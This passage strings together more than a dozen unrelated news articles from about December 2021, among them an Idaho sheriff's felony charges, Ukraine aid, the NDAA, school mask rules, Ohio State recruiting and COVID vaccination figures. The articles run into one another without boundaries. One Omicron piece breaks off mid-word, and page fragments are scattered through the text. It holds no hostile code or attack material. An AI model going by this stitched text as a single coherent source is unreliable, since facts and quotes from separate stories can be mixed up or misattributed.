testing. New cases continue to develop, as there has been a 21 percent increase from 2009 to 2018. The U=U campaign refers to those with HIV who achieve and maintain an undetectable viral load, the amount of HIV in the blood, by taking antiretroviral therapy (ART) are untransmittable. Health care experts spoke on the future of HIV/AIDS over the next few years with the HIV/AIDS epidemic to end by 2030. Year 2030 is the current goal for ending HIV/AIDS. Treatments are used as a preventative, including PrEP, pre-exposure prophylaxis. Dr. Donald Rice, infectious disease specialist from SSTAR in Fall River, recommends taking the once-a-day treatment to prevent HIV, as it is 80 percent effective against drug use and 99 percent effective against sexual exposure. Any provider can prescribe the treatment for all sexually active adults and adolescents. If acquired through getyourprep.com, the entire treatment can be covered. If you catch it early, in long-term health, there will be less chronic health issues, said Shabana Naz, chief medical officer at GNBCHC. What we know now: A woman's immune system possibly cured her of HIV. She's being called the 'hope patient' Between 2015 to 2019, several medications have been introduced as treatment, which Naz said is good to have choices. For once-per-day treatment, she said there are less pills to consume which reduces toxicity. We're not in the 90s or 80s, there are meds to help us, Naz said. Currently, future treatments such as the IPM dapivirine vaginal ring for women and oral medications are in the late stages of development. Seven Hills Behavioral Health currently offers clean needle exchange programs in Fall River, Fairhaven, Dartmouth, Wareham and Taunton but New Bedford is off-limits for now. Education: SouthCoast schools make strides toward understanding LGBTQ+ students, but lack course work Standard-Times staff writer Kerri Tallman can be reached at ktallman@s-t.com. Follow her on Twitter at @kerri_tallman for links to recent articles. Support local journalism by purchasing a digital or print subscription to The Standard-Times today. This article originally appeared on Standard-Times: MA health officials compare HIV/AIDs epidemic to COVID. Why it matters This story originally published Dec. 15 in EastIdahoNews.com. BLACKFOOT A local sheriff faces serious felony charges for allegedly threatening a youth group with a gun in November. The Idaho Attorney Generals Office charged Bingham County Sheriff Craig Rowland on Tuesday with felony aggravated battery, felony aggravated assault and misdemeanor exhibition of a gun. Referring to the incident on Nov. 9, Rowland told Blackfoot Police Chief Scott Gay that he had really screwed up, according to an affidavit of probable cause obtained by EastIdahoNews.com. Court documents written by AGs office investigators detail the events of the night through interviews with those involved. On the evening of Nov. 9, a Latter-day Saint youth group was placing thankful turkeys on the doors of members of their congregation. The activity involved several girls ages 12 to 16 writing notes of thanks shaped like turkeys, taping them on doors, ringing doorbells and running away before they could get caught by the occupants. That night a group of seven young women and their adult leader visited Rowlands neighborhood. Most of the night proved uneventful until they tried to leave a note for Rowland and his wife. Around 8 p.m., Rowland told investigators, he went to let his Yorkie out to use the bathroom. Rowland said he saw two people outside of his home and they ran down the road from the house. Rowland made sure no one had broken into his patrol vehicle and he went back inside. Minutes later, Rowland said he heard his front screen door open and a knock at his door. Fearing someone was trying to break into his house, Rowland had his wife bring him his gun. Dressed in his long johns, socks and a T-shirt, the sheriff went outside again. In Ring doorbell footage, Rowland is shown looking at the turkey and can be heard saying, Thank you, and Thats frickin bulls***. Rowland said he saw a vehicle driving down the road, which he stopped. Rowland said the car did not look familiar and the driver of the car stopped and opened the drivers side door. Story continues I reach in and pull the driver out by the hair, Rowland told investigators, according to court documents. I say, Who the f*** are you? And I do have a gun in my hand, but I still have my finger on the slide. Rowland told investigators he pointed the gun at the womans head. The woman later identified herself as a neighbor and family friend for over three decades. Rowland said he did not recognize her. He continued yelling profanities at the woman and girls and pointed his weapon at the woman. Eventually, Rowland said he went back to his home and let the youth group leave. Rowland told investigators that he had had a single alcoholic drink that night, but he was clear-headed. He told investigators about several threats that had been made against him and his wife in recent months that caused them to be concerned about people at their home. I have been doing this job for 36 years, Rowland said. I have had drunk Indians drive down my cul-de-sac. Ive had drunk Indians come to my door. I live just off the reservation, we have a lot of reservation people around us that are not good people. Investigators interviewed all of the girls in the vehicle and their adult leader. Their recounting of events is similar to Rowlands with a few differences. The woman said when Rowland pulled her out of the car, he reportedly lifted his gun then pointed it inches from her forehead, according to court documents. The woman said Rowland told her to never do this again, that he could shoot her, and that she needed to get the f*** out of here. The girls who were in the car described Rowland getting upset, having a gun and saying the f-bomb multiple times. Several of them recall Rowland pointing the gun at the leaders head and saying I will f***ing shoot you. Shortly after the events on Nov. 9, EastIdahoNews.com was contacted by the parents of the girls who were inside the vehicle. EastIdahoNews.com is not releasing the names of the parents to protect the identities of the children. It has been a very difficult experience for our child to go through, especially the confusion caused whenever the behavior of trusted adults seems harmful and unpredictable, a parent of one of the girls said in a statement. Throughout the entire ordeal, the Blackfoot Police Department and the representatives from the Attorney Generals Office have been absolutely professional and thorough. We are grateful for the way they have handled this situation. The parent expressed disappointment in statements given to media from local Church of Jesus Christ of Latter-day Saint communication officials Dan Cravens and Ray Matsuura, who said this situation was most likely a misunderstanding. Knowing that the Attorney Generals Office was conducting an active investigation, that the sheriff had been placed on leave and that the victims included multiple children in our community should have given any responsible adult pause, the parent said. Rowland was not arrested Tuesday but issued a summons to appear in court on Dec. 22 for an initial appearance. Rowland declined to comment Wednesday after EastIdahoNews.com asked him about the charges and his recounting of events. Although Rowland is accused of a crime it does not necessarily mean he committed it. Everyone is presumed innocent until proven guilty. While Rowland faces the felony charges, he still retains his elected office as Bingham County sheriff. When news of the investigation broke, he agreed to take a brief leave of absence while the investigation was ongoing. Once it was completed, he returned to work, according to Bingham County Prosecutor Paul Rogers. After EastIdahoNews.com published this story, Rogers released a statement saying that due to the Idaho Rules of Professional Conduct, the Bingham County Prosecutors Office must not participate in the review of the allegations or prosecute the matter. Rogers asked the Idaho Attorney Generals Office be appointed as a special prosecutor in the case. Bipartisan lawmakers on the House Armed Services Committee came away from a three-day visit to Ukraine alarmed by Russia's rapid military buildup on the border and urged the Biden administration to "cut the red tape" in order to speed up lethal aid to Kyiv. Congressmen Ruben Gallego, Michael Waltz and Seth Moulton all military veterans serving on the committee told reporters that proactive measures, including economic sanctions and weapons procurement, were key to deterring Russia from launching a military incursion. "This is about speed," Moulton, a Massachusetts Democrat, said at a virtual news conference Tuesday. "[Russian President Vladimir] Putin is moving very quicklyIt's now up to the administration to respond quickly, and that's exactly what we, as legislators, are pushing them to do." "We need to be more focused on preventing an invasion than just responding to one," he said. "We need to help Ukraine 'porcupine' themselves and raise the cost now," said Waltz, a Republican from Florida. "We're talking about helping the capability, the will of our Ukrainian allies, who made it clear to us they intend to fight if Putin does the worst and conducts a partial or full-scale invasion." "The more that we can show that there will be resistance, the less likely they'll want to get bogged down in a war in Ukraine," Gallego, a Democrat, said in a separate interview Tuesday with CBS News. "I think Putin understands at least one thing: if he gets into war in Ukraine and doesn't win it, it is part of an existential threat to his to his ability to hold power." Gallego, who chairs the House Armed Services Subcommittee on Intelligence and Special Operations, also said assessments of Russia's buildup he had reviewed from both the U.S. intelligence community and the Pentagon suggested all the lights were "blinking red." Story continues Over the past two months, Russia has massed more than 100,000 troops near its border with Ukraine, prompting fears of an invasion as early as January, according to U.S. intelligence assessments. U.S. officials have also accused Moscow of mounting an aggressive information operation to destabilize Ukraine politically, undermine its social cohesion and pin blame for any escalation on Kyiv and NATO. The Pentagon's press secretary, John Kirby, said Tuesday there had been no indication that Russia had begun moving its troops away from the Ukrainian border, despite direct talks between Presidents Biden and Putin last week. The Biden administration has prioritized diplomatic engagement since the buildup began. White House press secretary Jen Psaki said Tuesday that the administration was consulting "closely" with European allies on the potential launch of security discussions with Russia. Assistant Secretary of State Karen Donfried this week traveled to Kyiv and Moscow for continued talks. "Our objective continues to be to keep this on a diplomatic path and for that to lead to de-escalation," Psaki said. In a press conference in Brussels, NATO Secretary General Jens Stoltenberg said the alliance continued to "stand ready to engage with Russia." Gallego, Moulton and Waltz warned on Tuesday that protracted diplomatic efforts risked emboldening Moscow. Putin, they said, had positioned himself to pursue multiple options, from continued political destabilization designed to undermine the Ukrainian government to cutting off electricity, gas or coal imports, to a full-scale invasion. "If Putin invades I want him to know that he'll have trouble buying a soda from a vending machine in the next five minutes, not that NATO will convene a conference to debate what to do next over the ensuing several weeks," Moulton said. "The next round of lethal aid is literally sitting on [President Biden's] desk," Waltz said. "The Ukrainians are practically begging for it." "This is a policy issue, and we hope to see some important shifts in policy," he said. House votes to recommend Mark Meadows be held in contempt of Congress Mark Meadows faces House contempt vote TSA confiscates record number of guns in 2021 KUALA LUMPUR (Reuters) - U.S. Secretary of State Antony Blinken has cut short his trip to Southeast Asia due to a COVID-19 case among his travelling party, a State Department official said on Wednesday. The decision was made to mitigate the COVID-19 risk and prioritise health and safety, and Blinken had expressed by phone his deep regret to the foreign minister of Thailand, where he was due to attend meetings on Thursday, State Department spokesperson Ned Price said. The positive case was confirmed on Wednesday while Blinken was in Malaysia. He was in Indonesia the previous two days. (Reporting by Humeyra Pamuk; Writing by Martin Petty; Editing by Andrew Heavens) Three times a week, Marty Rogers and a group of volunteers, including middle school students and nuns, hit the streets of the South Bronx to distribute food, water, hats, and gloves to people who are homeless. Over the last four decades, Rogers has organized a free Thanksgiving meal at his church, Immaculate Conception, serving food alongside his children and parishioners. A few years ago, a middle school student at the church's school asked a teacher what they could do to help people who are homeless. The school contacted Rogers, and asked if he would help the student feed those in need. Rogers organized "Hope Walks," where every so often, students and volunteers from the church would get together to make sandwiches to pass out to people in the neighborhood. They stopped and chatted with people, asking their names and making them feel comfortable, and "by the end, we might be cracking jokes," Rogers told CBS News. At the start of the pandemic, Rogers knew there needed to be more Hope Walks, and now, three times a week, his group make dozens of sandwiches to pass out, paying for the food through donations. He has gotten to know several people, including a woman named Virginia, who recently showed him the key to her new apartment. "We were so thrilled," Rogers told CBS News. "We didn't help her do it, but maybe we played a small part. We're some people that at least she can share the good news with, and we definitely celebrate with her." You may also like Let's pre-emptively stop pretending the metaverse is impressive 5 cartoons about Russia's looming invasion of Ukraine In SNL cold open, 'Fauci' presents COVID Christmas showcase The amendment to the 2021 COVID-19 mask mandate was approved Tuesday for Caddo Parish Schools. This comes a week after the initial mask mandate was supposed to end. This approval states that the mask mandate is optional for Caddo Schools. "This is a win for all Americans," said Jessica Tullis, a parent who took part in the cease and desist letter sent in November. On Oct. 26, Louisiana Gov. John Bel Edwards announced that he was lifting the mask mandate statewide, allowing school districts to opt out of the mask mandate. The only condition was that school districts would be required to follow all existing quarantine guidelines recommended by the Centers for Disease Control and Prevention. Vaccines and Louisiana schools: Louisiana Governor John Bel Edwards adds COVID vaccine to required school shots, joining California Caddo Parish parents plan to fight mask mandates in schools: 'This is not the new normal' Local school districts such as Bossier Parish Schools opted out of the mask mandate the day following Edwards' announcement. But Caddo Parish took a different approach. The mask mandate for Caddo Parish Schools was supposed to end Dec. 3, with the stipulation that the district's COVID positivity rates stay below 5%. Royal Alexander, Attorney for the Caddo Parish Parent cease and desist mandatory mask policy Now the district has a mask optional protocol aligned to quarantined guidelines, though the superintendent can implement universal masking if required by the governor, United States, or other laws that control Caddo Schools. The new standards remove language tying universal masking to positivity rates. remove requirements of universal masks when there is a Caddo Parish COVID-19 positivity rating above 5% for two consecutive weeks and authorize Superintendent to implement universal masking if required by the Governor, United States, or other laws that control Caddo Schools. On Nov. 26, a group of Caddo Parish parents sent a cease and desist letter to the school board through attorney Royal Alexander. Story continues With the mask mandate lifted Alexander said, "I commend the Caddo Parish School Board on a wise and prudent decision. After carefully weighing the information and evidence, a majority of the board were faithful to the public trust and reflected the will of their constituents." Jessica Tullis, Caddo Parish Parent involved with the cease and desist mandatory mask policy "This shows that getting involved at a local level can make a difference," Tullis said. "Parents and school board representatives should be able to work together for the betterment of our children. Their job includes listening to their districts not voting where the money is." Instant access. No shipping delays. Subscribe today. Makenzie Boucher is a reporter with the Shreveport Times. Contact her at mboucher@gannett.com. This article originally appeared on Shreveport Times: Caddo Schools mask mandate lifted after intense fight with parents It worked out pretty well the last time Ohio State signed a Lake Travis High School receiver. The Buckeyes hope it works again. Ohio State signed wide receiver Caleb Burton from the suburban Austin, Texas, powerhouse program Wednesday on National Signing Day. It's the same high school that Ohio State standout, and likely NFL first round pick, Garrett Wilson went to and is also the alma mater of Cleveland Browns quarterback Baker Mayfield. Live: Who's signing with Ohio State football on National Signing Day Burton is the third Lake Travis Cavalier to sign with Ohio State since 2018, joining Wilson (2019) and quarterback Matthew Baldwin (2018). Baldwin later transferred to TCU. Burton played at Del Valle High School, also an Austin suburb, where his father Charles was the head coach, but Charles Burton accepted a job on the Lake Travis coaching staff which brought his standout son to the program this past season. Burton had already committed to Ohio State before transferring high schools. The 6-foot, 165-pound Burton is a four-star recruit and the No. 68-ranked player in the country according to 247 Sports Composite rankings. He is the No. 13 ranked recruit in the state of Texas. He is one of two Texans headed to Ohio State in the Class of 2022, the other being four-star defensive back Terrence Brooks. It's smooth sailing for Caleb Burton as he scores his first touchdown of the season, taking a pass from Isaac Norris 41 yards to give Lake Travis a 7-0 lead against Arlington Martin. Caleb Burton to join a still loaded Ohio State wide receiver group Despite losing senior Chris Olave and likely losing the junior Wilson, Ohio State is likely bringing back a talented group at receiver, led by record-breaking sophomore, and yet another Texan, Jaxon Smith-Njigba. Story continues The group also includes Julian Fleming, Emeka Egbuka and Marvin Harrison Jr. Who are the highest ranked receiver recruits to sign with Ohio State? Here are the five highest-rated wide receivers to sign with Ohio State: Julian Fleming, Southern Columbia (Pennsylvania), Class of 2020 Emeka Egbuka, Steilacoom (Washington), Class of 2021 Garrett Wilson, Lake Travis (Texas), Class of 2019 Jaxon Smith-Njigba, Rockwall (Texas), Class of 2020 Jailin Marshall, Middletown, Class of 2013 Y'all want to know who the best Texans to sign with OSU are? Burton joins a long list of recent Texans to join Ohio State. Here are the best from the last five classes: 2021: Quinn Ewers, QB, Southlake Carroll High School (No.1 in the state) 2020: Jaxon Smith-Njigba, WR, Rockwall High School (No. 5 in the state) 2019: Garrett Wilson, WR, Lake Travis High School (No. 3 in the state) 2018: Matthew Baldwin, QB, Lake Travis High School (No. 43 in the state) 2017: Jeff Okudah, CB, South Grand Prairie High School (No.2 in the state) Ohio State landed Okudah, Baron Browning and J.K. Dobbins in the 2017 class. The 2022 Ohio State football recruiting class C.J. Hicks, LB Sonny Styles, S Gabe Powers, LB Devin Brown, QB Caleb Burton, WR Kaleb Brown, WR Kenyatta Jackson, DE Kyion Grayes, WR Tegra Tshabola, OT Kojo Antwi, WR Jyaire Brown, CB Dallan Hayden, RB George Fitzpatrick, OT Ryan Turner, CB Kye Stokes, S Bennett Christian, TE Avery Henry, OT Caden Curry, DL Where Ohio States 2022 recruiting class ranks Ohio State entered December's early National Signing Day with the No.4-ranked recruiting class. They trail Alabama, Georgia and Texas A&M. Those three programs plan to sign at least three five-star recruits each. When is the next National Signing Day? In 2017, the NCAA brought back the early signing day for football. It went into effect in 2018. But before that, the first Wednesday of February was National Signing Day for football recruits. The next signing will be Feb. 2. However, recruits dont have to sign that day. Last year, Ohio State signed J.T. Tuimoloau in the summer. How does Ohio State's 2023 recruiting class look right now? As of now, Ohio State has two commitments in its 2023 class. Tight end Tyler Lockwood of Independence, Tenn. (four stars) and Dayton Wayne standout lineman Joshua Padilla (four stars) have committed to Ohio State. The 10-highest rated recruits to sign with Ohio State The recruiting ranking era began in the early 2000s. Here are the 10 highest-rated players to sign with Ohio State. Quinn Ewers, QB, Southlake Carroll High School (2021) Terrelle Pryor, QB, Jeannette High School, (2008) Ted Ginn Jr., WR, Cleveland Glenville (2004) J.T. Tuimoloau, DL, Sammamish (Wash.) Eastside Catholic (2021) Jack Sawyer, DL, Pickerington North High School (2021) Julian Fleming, WR, Catawissa (Pa.) Southern Columbia High School (2020) Noah Spence, DE, Harrisburg (Pa.) Bishop McDevitt (2012) Nick Bosa, DE, Fort Lauderdale (Fla.) St. Thomas Aquinas (2016) Beanie Wells, RB, Akron Garfield High School (2006) Sam Maldonado, RB, Harrison (NY.) High School (2000) Get more Ohio State football news by listening to our podcasts This article originally appeared on The Columbus Dispatch: Caleb Burton, WR from Garrett Wilson's high school, signs with OSU PHNOM PENH, Cambodia (AP) Cambodia's Prime Minister Hun Sen on Wednesday said he will appoint his countrys foreign minister, Prak Sokhonn, to be the Association of Southeast Asian Nations special envoy to Myanmar. Cambodia in October took over as the coming years chair of the 10-member regional bloc, which is referred to as ASEAN. Hun Sen earlier this month announced he will pay an official visit in January to military-ruled Myanmar, seeking to patch up the generals battered relationship with the group of nations. Myanmar has been in turmoil since its army seized power in February, ousting the elected government of Aung San Suu Kyi. After peaceful protests against military rule were put down by lethal force, armed resistance has grown. U.N. experts have warned the country risks sliding into civil war. Speaking at the inauguration of a new hotel in the capital of Phnom Penh, Hun Sen said he was uncertain that ASEAN or Cambodia could solve Myanmars problems, but he should be allowed to try. Under the guidance of its now-former chair Brunei, the regional bloc took the unprecedented step of not allowing Myanmars military leader, Senior Gen. Min Aung Hlaing, to attend its October summit meeting. The bloc's leadership acted after Myanmar would not agree to let its special envoy meet Suu Kyi, who has been detained since the armys takeover. The previous special envoy was Bruneis Second Foreign Minister Erywan Yusof. ASEAN has sought to play a mediating role in Myanmars crisis given concerns over how it could affect regional peace. In April, it reached consensus on a five-point plan to try to help restore stability, but Myanmar has made little effort to implement it. Hun Sen would be the first foreign leader to visit Myanmar since the military takeover there. When he announced his intended Jan. 7-8 visit, he said Myanmars leader has the right to attend ASEAN summit meetings. His soft approach to Myanmars leadership contrasts sharply with the hard line taken by the United States and other Western nations, which have applied targeted diplomatic and economic sanctions against the ruling generals. Hun Sen has been in power for 36 years and has often been accused of heading an authoritarian regime. ASEAN's member countries are Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, the Philippines, Singapore, Thailand and Vietnam. FEMA Special Flood Hazard Area in the Gibson Flats area Cascade County Commissioners voted to waive the county permit application fee for Federal Floodplain Permits for cleanup of fire damage in the Gibson Flats area during this week's meeting. The Gibson Flats Area is located in the Federal Emergency Management Administrations Regulated Flood Hazard Area. Because the area is located within an FHA, an Emergency Notification form is required to be sent to the County Planning Department prior to or within five days of doing any work on their property including, but not limited to, structural debris removal, excavation, grading, and/or placing any structures within the Flood Hazard Area. Federal Floodplain Permits would be required by FEMA before any new construction can begin in the area. The county typically charges $250 as an application fee but decided to waive it given the circumstances. Commissioner Joe Briggs said during the meeting that it was pointed out to the commission that it seems wrong to require people trying to rebuild to get a federal floodplain permit. We agree, but federal law requires it, so we cannot waive the permit itself. The rebuilding will have to be done in accordance with floodplain regulations, Briggs said. The fee that is charged is determined locally. And that fee is to cover the costs of the permitting process. Briggs said the resolution does not waive the federal requirement for residents in Gibson Flats to get the permit. This only applies to the county fees associated with the permit, there are still federal fees associated with the application for the permit. Commissioner Don Ryan said that he talked with the Treasurer's Office about contacting the Department of Revenue about getting property tax relief to folks whose houses burned down. The commission said 13 total houses burned down within 12 acres by the wind-driven fire in early December. Briggs said the form required for tax relief is an AB 25 available at the County Commission office and online at the Montana Department of Revenue website. For those folks who are affected if they have not already talked to the Department of Revenue need to do so, Briggs said. This article originally appeared on Great Falls Tribune: Cascade County Commissioners waive fees for permits associated with Gibson Flats fire A rendering of the new Miles Together Playground. The playground is set to open at Granny White Park in Brentwood, Tenn. in summer 2022. Brentwood's newest city playground is ready to take shape at Granny White Park. Miles Together Playground, an inclusive play space designed for children of all physical and intellectual disabilities, will begin construction in early 2022 and could open that summer. The 22,000-square foot playground includes typical play structures like slides and swings alongside structures designed for adaptive and inclusive play. The space will include approximately 3,550 square feet of synthetic grass. The playground is named for Miles Peck, who was born with Down syndrome. The Peck family lives in Brentwood and founded the Miles for Miles Foundation, which supports nonprofits for people with intellectual and developmental disabilities. A rendering of the new Miles Together Playground. The playground is set to open at Granny White Park in Brentwood, Tenn. in summer 2022. The Brentwood City Commission approved the park at Monday's voting meeting. The total project cost is estimated at $1.7 million. Donations from the Miles for Miles Foundation, the Brentwood Rotary Clubs, the City of Brentwood 50th Anniversary Committee and other business and community donors funded the project. "While this amount is higher than the original budget target of $1 million, the scope of work was expanded to include significant additional parking, an additional bathroom building to accommodate an adult changing station, fencing of the playground, and a slightly larger playground footprint," city manager Kirk Bednar said. "Since this project began, we have heard from the community that this playground is in high demand." A rendering of the new Miles Together Playground. The playground is set to open at Granny White Park in Brentwood, Tenn. in summer 2022. Inclusive playgrounds have popped up across Tennessee in recent years, including in Murfreesboro, Hendersonville and Knoxville. To see a full list of inclusive playgrounds in Tennessee, visit accessibleplayground.net. RUTLEDGE HILL PROJECT: Historic Rutledge Hill neighborhood of downtown is changing with plans for new projects AFFORDABLE HOUSING: Land acquired on Dickerson Pike for 7-story affordable housing development, 256 units Cole Villena covers Williamson County at The Tennessean, part of the USA Today Network Tennessee. Reach Cole at cvillena@tennessean.com or 615-925-0493. Follow Cole on Twitter at @ColeVillena and on Instagram at @CVinTennessee. This article originally appeared on Nashville Tennessean: Brentwood's newest inclusive playground takes shape The Daily Beast GettyEven as daily new COVID cases set all-time records and hospitals fill up, epidemiologists have arrived at a perhaps surprising consensus. Yes, the latest Omicron variant of the novel coronavirus is bad. But it could have been a lot worse.Even as cases have surged, deaths haventat least not to the same degree. Omicron is highly transmissible but generally not as severe as some older variantslineages is the scientific term.We got lucky. But that luck might not hold. Many of the same epid After months of debate and weeks of angst, the Senate on Wednesday voted 88-11 to finalize plans for a $740 billion authorization bill for the Department of Defense, sending the sweeping military policy measure to the White House for the 61st consecutive year. The move codifies the annual 2.7% pay raise for troops in 2022, backs $25 billion more in military spending for fiscal 2022 than the White House requested and overhauls how certain sexual misconduct crimes are prosecuted under military rules. But what the bill doesnt include has gotten more attention than what it does. To speed up passage, congressional leaders dropped language to add women to the Selective Service System for potential future conscription, scaled back plans for even more dramatic military justice changes and dumped several other provisions. Completion of the bill considered must pass legislation by congressional leaders each year because of the hundreds of reauthorization and policy reforms it includes appeared in doubt as recently as two weeks ago, when Senate lawmakers still had not completed preliminary work usually done in late summer. That prompted House and Senate Armed Services Committee leaders to ditch the typical conference and amendment process in favor of a simplified compromise bill, frustrating lawmakers from both parties. But both Republican and Democratic leaders praised the final product as providing key support for the military in an uncertain global environment. It addresses a broad range of pressing issues, from strategic competition with China and Russia, to disruptive technologies like hypersonics, [artificial intelligence], and quantum computing, to modernizing our ships, aircraft, and vehicles, Senate Armed Services Committee Chairman Jack Reed, D-R.I., said. It provides our forces with the resources and support they need to defend our nation, makes historic reforms to help improve the lives of our service members, and takes important steps to care for their families. Story continues While the process has been imperfect, Im glad that bipartisan work has produced a bill that authorizes an increase in top-line funding for our national defense, Senate Minority Leader Mitch McConnell, R-Ky., said ahead of a procedural vote Tuesday. President Joe Biden has signaled he will sign the measure into law in coming days. More defense spending Lawmakers biggest addition to the defense bill in recent months was arguably the $25 billion in additional military spending. White House officials and House progressives complained in recent months the money was unnecessary, given significant defense funding plus-ups over the past four years under former President Donald Trump. But the extra funding found bipartisan backing in both chambers, with supporters pointing to military build-ups by Russia and China. Moderate Democrats said the money was needed to boost research and development spending, and future budget plans from Biden should follow suit. Weve lost a lot of ground to the Chinese while weve been focused over the last 20 years on counterterrorism and counterinsurgency, and theyve caught up in [artificial intelligence], machine learning, hypersonics and a lot of other things, said Sen. Mark Kelly, D-Ariz., chairman of the Senate Armed Services Committees panel on emerging threats. Its important to me that we can regain the ground weve lost and make sure the Defense Department is well manned and well equipped. Sen. Deb Fischer, R-Neb., echoed that sentiment in a floor speech Tuesday. The Biden administration originally proposed a top-line defense spending increase that would not have kept pace with inflation even in a normal year, she said. But in a year when it is threatening to spiral out of control, it would have meant an unacceptable cut in resources for our military. [This bill] offers an increase of $25 billion on top of President Bidens proposal, and we came together across party lines to agree to that because it is what our military needs. House passes defense bill 363-70; Senate up next Spending priorities Thanks to the bills higher top line, lawmakers are calling for 12 more Boeing-made F/A-18 Super Hornets than the administration requested; five more Boeing F-15EX jets above 12 already planned; and 13 ships total including two attack submarines and two destroyers for five more than the White Houses budget plan. Lawmakers also authorized 85 Lockheed Martin-made F-35 aircraft. The spending total includes parameters for a 2.7% pay increase for all troops starting Jan. 1 and reauthorizes dozens of specialty pays and bonuses military commanders said are needed for recruiting and retention. With regard to military end strength, the number of Army soldiers would drop by 900 (to 485,000) compared to this years levels and the Marine Corps would cut its troop numbers by 2,700 (to 178,500). Thats in line with White House end strength plans. The Navys end strength total would drop by about 900 (to 346,920), about 700 more sailors than the White House requested. The Air Force would see a decrease of about 4,200 personnel (to 329,220), about 1,000 more airmen than the administration requested. The Space Force end strength would be set at 8,400 guardians. Lawmakers also included a new Basic Needs Allowance to give additional financial support to some low-income service members. And the measure has language to provide 12 weeks parental leave to all service members following the birth or adoption of a child, standardizing the rule across the services. The bill authorizes $2 billion above Bidens request for the Pacific Deterrence Initiative, meant to bolster the militarys posture in the region and deter China, for a total of $7.1 billion. The bill authorizes $4 billion for the European Deterrence Initiative, to deter Russia by bolstering cooperation with Eastern European allies, an increase over Bidens $3.4 billion request. Lawmakers added $50 million to Bidens request for security assistance for Ukraine for a total of $300 million. All that said, the policy bill only sets priorities. Lawmakers have deadlocked over actual federal spending for fiscal 2022, which began on Oct. 1. The government is operating on a funding patch through mid February, which Congress passed to allow time for further budget negotiations. Missing items To the dismay of some, the bill does not include language requiring women to register with the Selective Service System for a potential future military draft. That proposal was included in earlier versions of the House and Senate authorization bill drafts, but was deemed too controversial for the final measure. Similarly, advocates for sexual assault victims sparred with chamber leaders over changes made to reforms of the military justice system related to how sexual misconduct cases are prosecuted. Under the final bill, the Defense Department would be required to create an independent prosecutorial office within each service to handle some serious crimes, including rape, sexual assault, murder, manslaughter and kidnapping. Sweeping military justice reforms, plan to add women to draft dropped from compromise authorization bill Last week, House Armed Services Committee Chairman Adam Smith, D-Wash., hailed those changes as a long overdue and crucial set of reforms [that] will dramatically improve the militarys response to the problem of sexual assault within the ranks. But Sen. Kirsten Gillibrand, D-N.Y., had pushed lawmakers to go even further, asking for all serious crimes to be taken out of the traditional military chain of command. She voted against the final measure in protest of the omission. [This bill] does not make the necessary changes to the military justice system, she said in a floor speech Monday. The change we must make, the change that survivors and veterans have asked for, is to remove all serious non-military crimes from the chain of command. Gillibrand, who voted against the NDAA on Wednesday, has vowed to continue the fight for additional reforms next year, when Congress tries to pass the authorization bill for the 62nd consecutive year. San Joaquin County has administered more than 988,455 doses of the COVID-19 vaccine, as of Dec. 13, according to data from the California Department of Public Health. That's up 1.49% from the previous week's tally of 973,930 COVID-19 doses administered. In San Joaquin County, 57% of people are fully vaccinated as of Dec. 13. The Centers for Disease Control and Prevention considers someone fully vaccinated two weeks after they've been given a single-dose shot (Johnson & Johnson) or a second shot (either Pfizer or Moderna). California restrictions return: Stockton businesses prepare for new mask mandate Coronavirus update: San Joaquin County COVID-19 cases fall 61.6% California reported 5,171,651 total cases of coronavirus, an increase of 0.81% from the week before. The five counties with the highest percentage of their population fully vaccinated in California as of Dec. 13 are Marin County (82%), San Francisco County (81%), Santa Clara County (80%), San Mateo County (79%) and Contra Costa County (78%). Here are the latest numbers on COVID-19 vaccinations in San Joaquin County as of Dec. 13: How many people in San Joaquin County have received a COVID-19 vaccine? 67% of people in San Joaquin County have received at least one dose of the vaccine, for a total of 492,816 people. 57% of people in San Joaquin County are fully vaccinated, for a total of 420,446 people. For a county-by-county look at the vaccination rollout, see our COVID-19 vaccine tracker, which is updated daily. How many people in California have been vaccinated so far? 81% of people in California have received at least one dose of the vaccine, for a total of 31,901,262 people. 65% of people in California are fully vaccinated, for a total of 25,636,045 people. Coronavirus vaccinations for kids, booster rates The percentages in this story reflect the total share of the population that has received vaccines. That now includes people as young as 5 years old, for whom vaccines have been authorized. Story continues COVID-19 updates: 'No need for variant-specific booster' at this point, Fauci says These weekly stories will be updated as more data on vaccination rates in children, as well as booster vaccination rates, are released. We pull data on local vaccine distribution on a weekly basis. Check back for our next weekly update mid-week for the latest numbers. This article originally appeared on The Record: San Joaquin County coronavirus vaccine rate: How many vaccinated? Dale Coyne Racing's recent first-year IndyCar drivers may not have won Rookie of the Year in 2020 or 2021, but their short tenures with the program set them on a path toward successful careers in the series. David Malukas hopes he can continue the trend, perhaps with a little more hardware even. May 24, 2019; Indianapolis, IN, USA; Indy Lights driver David Malukas during the Freedom 100 at Indianapolis Motor Speedway. Mandatory Credit: Mark J. Rebilas-USA TODAY Sports DCR confirmed the 20-year-old Chicago native Wednesday as the next driver of the No. 18 Honda, replacing Ed Jones moving forward. With Malukas comes a partnership with his father Henry's HMD Motorsports, which also runs a four-car program in Indy Lights, to fill the void of former car partner Vasser Sullivan. Last week, DCR announced that series veteran Takuma Sato would man the No. 51 for 2022 in a continued partnership with Rick Ware Racing. Malukas joins an ever-growing IndyCar 2022 rookie class off a seven-win Indy Lights campaign only bettered by fellow future IndyCar rookie Kyle Kirkwood's record-setting 10-win run. Before Kirkwood won four of the last five races of the pair's tight year-long duel, Malukas led the title race by 10 points following a late-summer sweep at WWT Raceway. More on David Malukas: Over the 20-race season, the newest Coyne driver finished with four poles and a series-high 16 podiums, ending 13 points shy of Kirkwood, who a couple weeks ago was announced as the next driver of A.J. Foyt Racing's No. 14 Chevy. It has been my dream since a little kid to get to this point and I am thrilled to get it started with this team," Malukas said in a release. "After my first test with DCR, I felt right at home. They are like family already and I am excited to see what we can accomplish." In the same seat a year ago, Jones and his team struggled to find consistency on and off the track, mired by a handful of pit road and mechanical issues. The No. 18 produced three top-10s in Jones' return to the series, including a season-best of 6th-place on the streets of Nashville. He took 19th in driver and entrant points and has not been linked with any of the remaining seats in the offseason shuffle. Story continues Coyne believes with a shakeup to the program, he can perhaps rejuvenate the No. 18 that finished behind the No. 51 in 10 of 16 races a year ago. Since the start of 2020, Alex Palou and Romain Grosjean produced four podiums in the entry, compared to zero from Santino Ferrucci and Jones in the No. 18. Ive been following David in Indy Lights, and I was very pleased by what I saw," Coyne said in a release. "He had a remarkable season, and then he impressed everyone when we tested him back in October. It was his first time in an Indy car, and he was the fastest one at the test, even ahead of a veteran driver. "On top of it all, he comes from right down the road in Chicago, so its a perfect fit for us." What's left in IndyCar Silly Season Just past the halfway point of the offseason, only one component of an assured full-time seat remains in limbo. With Ed Carpenter 